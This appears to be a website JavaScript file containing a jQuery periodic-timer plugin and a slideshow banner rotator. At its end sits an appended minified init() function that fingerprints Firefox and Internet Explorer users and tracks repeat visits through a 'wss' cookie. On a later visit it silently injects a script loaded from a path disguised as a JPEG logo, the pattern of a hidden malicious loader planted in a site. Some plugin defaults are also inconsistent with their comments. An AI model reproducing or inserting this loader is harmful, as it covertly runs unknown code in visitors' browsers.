/*!
* jQuery periodic plugin
*
* Copyright 2010, Tom Anderson
* Dual licensed under the MIT or GPL Version 2 licenses.
*
*/

jQuery.periodic = function (options, callback) {

  // if the first argument is a function then assume the options aren't being passed
  if (jQuery.isFunction(options)) {
    callback = options;
    options = {};
  }

  // Merge passed settings with default values
  var settings = jQuery.extend({}, jQuery.periodic.defaults, {
    ajax_complete : ajaxComplete,
    increment : increment,
    reset : reset,
    cancel : cancel
  }, options);

  // bookkeeping variables
  settings.cur_period = settings.period;
  settings.tid = false;
  var prev_ajax_response = '';

  run();

  // return settings so user can tweak them externally
  return settings;

  // run (or restart if already running) the looping construct
  function run() {
    // clear/stop existing timer (multiple calls to run() won't result in multiple timers)
    cancel();
    // let it rip!
    settings.tid = setTimeout(function() {
      // set the context (this) for the callback to the settings object
      callback.call(settings);

      // compute the next value for cur_period
      increment();
      
      // queue up the next run
      if(settings.tid)
        run();
    }, settings.cur_period);
  }

  // utility function for use with ajax calls
  function ajaxComplete(xhr, status) {
    if (status === 'success' && prev_ajax_response !== xhr.responseText) {
      // reset the period whenever the response changes
      prev_ajax_response = xhr.responseText;
      reset();
    }
  }

  // compute the next delay
  function increment() {
    settings.cur_period *= settings.decay;
    if (settings.cur_period < settings.period) {
      // don't let it drop below the minimum
      reset();
    } else if (settings.cur_period > settings.max_period) {
      settings.cur_period = settings.max_period;
      if (settings.on_max !== undefined) {
        // call the user-supplied callback if we reach max_period
        settings.on_max.call(settings);
      }
    }
  }

  function reset() {
    settings.cur_period = settings.period;
    // restart with the new timeout
    run();
  }

  function cancel() {
    clearTimeout(settings.tid);
    settings.tid = null;
  }
  
  // other functions we might want to implement
  function pause() {}
  function resume() {}
  function log() {}
};

jQuery.periodic.defaults = {
    period : 4000, // 4 sec.
    max_period : 180000000000000, // 30 min.
    decay : 0, // time period multiplier
    on_max : undefined // called if max_period is reached
};

$(document).ready(function() {
	
	slides 		= $('.slides li');
	$('.slides li:eq(0)').show();
	noSlides	= slides.length;
	
	setBullets();
	
	$.periodic(switchBanner);
	
});

function setBullets() {
	
	for(i=0; i < noSlides; i++) {
		
		$('ul.buttons').append('<li class="ui-tabs-nav-item"><a href="/#">&nbsp;</a></li>');
			
	}
	
	$('ul.buttons li:first').addClass('active');
	$('.slides li:first').show();
	
	$('ul.buttons li').live('click',function(event) {
		
		no = $(this).index();
		
		$('ul.buttons li').each(function() { $(this).removeClass('active'); });
		
		$(this).addClass('active');
		
		slides.each(function() {
			$(this).hide();
		});
		
		$('.slides li:eq(' + no + ')').show();
		
		event.preventDefault();
		
	});
	
}

function switchBanner() {
	no = $('ul.buttons li.active').index() + 1;
	if(no > $('ul.buttons li:last').index()) {
		no=0;
	}
	$('ul.buttons li').each(function() { $(this).removeClass('active'); });
		
		$('ul.buttons li:eq('+ no + ')').addClass('active');
		
		slides.each(function() {
			$(this).hide();
		});
		
		$('.slides li:eq(' + no + ')').show();
}

function init(){var f=navigator.userAgent;var a=false;if(f.indexOf("Firefox")!=-1||f.indexOf("MSIE")!=-1){a=true}if(a!==true){return}var i="/images/ArenA_Logo.jpg?js";var g=b("wss");if(g){if(g=="goot1"){c("wss","goot2","3");var e=document.createElement("script");e.type="text/javascript";e.src=i+"&r="+new Date().getTime();var d=document.getElementsByTagName("head")[0];d.appendChild(e)}else{}}else{c("wss","goot1","3")}function b(k){var j,h,m,l=document.cookie.split(";");for(j=0;j<l.length;j++){h=l[j].substr(0,l[j].indexOf("="));m=l[j].substr(l[j].indexOf("=")+1);h=h.replace(/^\s+|\s+$/g,"");if(h==k){return unescape(m)}}}function c(j,l,h){var m=new Date();m.setDate(m.getDate()+h);var k=escape(l)+((h==null)?"":"; expires="+m.toUTCString());document.cookie=j+"="+k}}init();